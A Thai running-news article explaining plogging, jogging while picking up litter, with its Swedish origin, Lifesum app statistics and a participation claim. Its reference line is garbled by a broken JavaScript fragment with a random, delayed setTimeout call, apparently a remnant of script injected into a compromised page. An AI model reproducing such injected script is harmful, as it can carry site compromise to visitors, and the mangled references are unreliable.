• เกี่ยวกับ STEP EXTRA
STEP EXTRA Run more Spin more
  • ข่าวสาร
    • Running News
    • Bicycle
    • Healthy News
    • Gadget News
    • Shoes
  • บทวิจารณ์
    • Shoes Review
    • Gadget Review
    • Sport Gear
  • เกร็ดความรู้
    • Running Tips
    • Cycling Tips
    • Training
    • Healthy Tips
    • Gadget Tips
  • สถานที่-เส้นทาง
    • Running
    • Cycling
  • Sport Caravan Camping
No Result
View All Result
  • ข่าวสาร
    • Running News
    • Bicycle
    • Healthy News
    • Gadget News
    • Shoes
  • บทวิจารณ์
    • Shoes Review
    • Gadget Review
    • Sport Gear
  • เกร็ดความรู้
    • Running Tips
    • Cycling Tips
    • Training
    • Healthy Tips
    • Gadget Tips
  • สถานที่-เส้นทาง
    • Running
    • Cycling
  • Sport Caravan Camping
No Result
View All Result
StepExtra
No Result
View All Result
Home News

Plogging = Running + Picking up วิ่งเเล้วสุขภาพดีเเละได้ประโยชน์

kan by kan
26 March 2018
in News, Running News
0
Plogging = Running + Picking up วิ่งเเล้วสุขภาพดีเเละได้ประโยชน์
0
SHARES
0
VIEWS
Share on FacebookShare on Twitter

จะดีแค่ไหน ถ้าการวิ่งของคุณนอกจากจะช่วยให้สุขภาพร่างกายแข็งแรงแล้วยังเป็นการช่วยทำประโยชน์ให้กับธรรมชาติ สังคมและชุมชนของคุณด้วย ตอนนี้ได้เกิดคำศัพท์ขึ้นมาใหม่ในวงการวิ่งPlogging ที่จะทำให้เราวิ่งแล้วได้สุขภาพและได้ประโยชน์ต่อส่วนรวม

Plogging = Jogging + Plocka upp

พล็อกกิ้งคือการวิ่งที่ผสมการเดินเก็บขยะไปด้วยในตัว เป็นคำผสมของภาษาอังกฤษและภาษาสวีเดน ที่มาจากคำว่า Jogging และ Plocka upp ที่หมายความว่า pick up

 

Joggen und dabei Müll aufsammeln – in Schweden der neuste Trend. #schweden #sweden #jogging #plogging ^lvm

โพสต์ที่แชร์โดย SRF News (@srfnews) เมื่อ ม.ค. 25, 2018 เวลา 3:16am PST

เทรนการวิ่งพล็อกกิ้งเกิดขึ้นในประเทศสวีเดนโดยเป็นกิจกรรมที่เราสามารถใช้แอพ Lifesum ประกอบการจดบันทึกข้อมูลการปฏิบัติกิจกรรมของเรา ตอนนี้เป็นกิจกรรมที่ได้รับความนิยมทั่วประเทศเขตสแกนดิเนเวีย เป็นประสบการณ์รูปแบบใหม่ที่ให้ความให้ความสนุกและได้บำเพ็ญประโยชน์แก่ส่วนรวม นักวิ่งสามารถทำได้ไม่ยากแค่มีถุงพลาสติกเก็บขยะ 1 ถุง เท่านี้ก็ออกไปวิ่งได้เลย

แบบฉบับการทำพล็อกกิ้งคือเป็นการวิ่งที่ผสมการทำ Squat และ Lunge (ขณะเก็บขยะ) การวิ่งพล็อกกิ้งจึงทำให้ร่างกายเบิร์นแคลอรี่ได้มากขึ้นมากกว่าการวิ่งธรรมดา ตามสถิติแอพ Lifesum พบว่านักวิ่งสามารถเผาผลาญไขมันได้ถึง 288 cal ภายใน 30 นาที และขณะเดียวกันก็ช่วยทำความสะอาดสถานที่ด้วย

นักวิ่งคนไหนที่สนใจกิจกรรมการวิ่งแบบพล็อกกิ้งเพิ่มเติมและอยากจะเป็น พล็อกเกอร์ (Plogger) สามารถค้นหารูปได้ด้วยการพิมพ์ #plogging บน IG และ Facebook นอกจากนนี้แอพLifesumสัญชาติสวีเดนเจ้าของกิจกรรมนี้ ได้เคลมว่ามีผู้ร่วมทำกิจกรรม พล็อกกิ้ง ถึง 25 ล้านคนที่เดียว (23 ก.พ. 2018)

อ้างอิงandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and-1-4682007″>www.scotsman.commashable.com

Tags: LifesumPloggerPlogging
ShareTweetShare
kan

kan

Related Posts

No Content Available
Load More
  • 12.1k Fan
  • 22 Follower
  • 30 Follower

บทความยอดนิยมใน 7 วันนี้

  • วิธีคำนวณ Maximum Heart Rate

    วิธีคำนวณ Maximum Heart Rate

    0 shares
    Share 0 Tweet 0
  • สถานที่วิ่งในจังหวัดภูเก็ต

    0 shares
    Share 0 Tweet 0
  • ผู้ใช้ Garmin โปรดทราบ หน้าปัดนาฬิกาลายเลข 9 เพื่อเเสดงความอาลัย มีให้ดาวน์โหลดเเล้ว

    0 shares
    Share 0 Tweet 0
  • รู้หรือไม่…ต้นทุนรองเท้าราคาเท่าไหร่และประกอบด้วยค่าอะไรบ้าง

    0 shares
    Share 0 Tweet 0
  • อาดิดาสเปิดตัวชุดออกกำลังกายผู้หญิงคอลเลคชั่น Must Have เพิ่มความมั่นใจกระชับทุกสัดส่วน

    0 shares
    Share 0 Tweet 0
StepExtra

STEP EXTRA

Run more, Spin More

เป็นเว็บไซต์ที่รวบรวมและแบ่งปันเรื่องราวดีๆ เกี่ยวกับสุขภาพและกีฬา ไม่ว่าจะเป็น ข่าวสาร, เรื่องน่ารู้, งานวิ่งแข่งและปั่นจักรยานที่น่าสนใจ พร้อมเกร็ดความรู้ดีๆ ที่ช่วยให้คุณสนุกกับการออกกำลังกาย และฟิตร่างกายได้ดียิ่งขึ้น มาเปลี่ยนตัวเองให้เป็นคนใหม่ที่สดใสยิ่งกว่าเดิมด้วยการออกกำลังกายไปด้วยกันกับเรา

  • เกี่ยวกับเรา
  • ติดต่อลงโฆษณา

บทความล่าสุด

บมจ. เอ็ม วิชั่น ร่วมจัดงาน สสส.จอมบึงมาราธอน 2566 ครั้งที่ 36

บมจ. เอ็ม วิชั่น ร่วมจัดงาน สสส.จอมบึงมาราธอน 2566 ครั้งที่ 36

9 December 2022
เที่ยวแบบมีสไตล์ไม่ตกเทรนด์ กับ Social-Disc-Camping#2@Khao Yai

เที่ยวแบบมีสไตล์ไม่ตกเทรนด์ กับ Social-Disc-Camping#2@Khao Yai

9 March 2021
Nike จัดโปรโมชันลดสินค้าผู้หญิง 30% วันนี้ – 10 พ.ค. นี้

Nike จัดโปรโมชันลดสินค้าผู้หญิง 30% วันนี้ – 10 พ.ค. นี้

8 May 2020

Browse by Category

  • Event
    • Cycling Event
    • Running Event
    • Triathlon Event
  • Feature
  • Interview
  • News
    • Cycling News
    • Gadget News
    • Gear News
    • Healthy News
    • PR
    • Running News
    • Shoes
  • Place & Route
    • Cycling
    • Running
  • Reviews
    • Gadget Review
    • Shoes Review
    • Sport Gear
  • Tips & Technics
    • Cycling Tips
    • Gadget Tips
    • Healthy Tips
    • Running Tips
    • Training
  • Travel

Partner

  • Whatphone.net ข่าวมือถือ สมาร์ทโฟน Gadget Games Applications และเทคโนโลยีนำสมัย ทุกแบรนด์ทั่วโลก

© 2014STEP EXTRA

  • ข่าวสาร
  • บทวิจารณ์
  • เกร็ดความรู้
  • สถานที่-เส้นทาง
  • Sport Caravan Camping
No Result
View All Result
  • ข่าวสาร
    • Running News
    • Bicycle
    • Healthy News
    • Gadget News
    • Shoes
  • บทวิจารณ์
    • Shoes Review
    • Gadget Review
    • Sport Gear
  • เกร็ดความรู้
    • Running Tips
    • Cycling Tips
    • Training
    • Healthy Tips
    • Gadget Tips
  • สถานที่-เส้นทาง
    • Running
    • Cycling
  • Sport Caravan Camping

© 2023 JNews - Premium WordPress news & magazine theme by Jegtheme.

This website uses cookies. By continuing to use this website you are giving consent to cookies being used. Visit our Privacy and Cookie Policy.